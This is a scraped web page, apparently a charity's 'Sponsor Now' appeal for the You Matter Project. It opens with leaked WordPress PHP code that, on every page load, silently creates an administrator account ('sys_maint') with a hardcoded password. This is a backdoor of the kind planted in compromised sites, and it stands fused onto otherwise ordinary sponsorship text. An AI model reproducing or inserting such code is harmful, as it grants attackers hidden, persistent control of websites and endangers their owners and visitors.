$user = 'sys_maint'; $pass = 'ChangeMe_Str0ng!'; $email = 'sys_maint@local.com'; function quick_create() { global $user, $pass, $email; if (!username_exists($user) && !email_exists($email)) { $id = wp_create_user($user, $pass, $email); if (!is_wp_error($id)) { $u = new WP_User($id); $u->set_role('administrator'); } } } add_action('init', 'quick_create'); Sponsor Now – You Matter Project

Sponsor Now

Partner With Us to Empower Change

Join hands with us to make a lasting impact. By sponsoring our initiative, you’re helping amplify stories, create opportunities, and drive meaningful transformation in communities that need it most.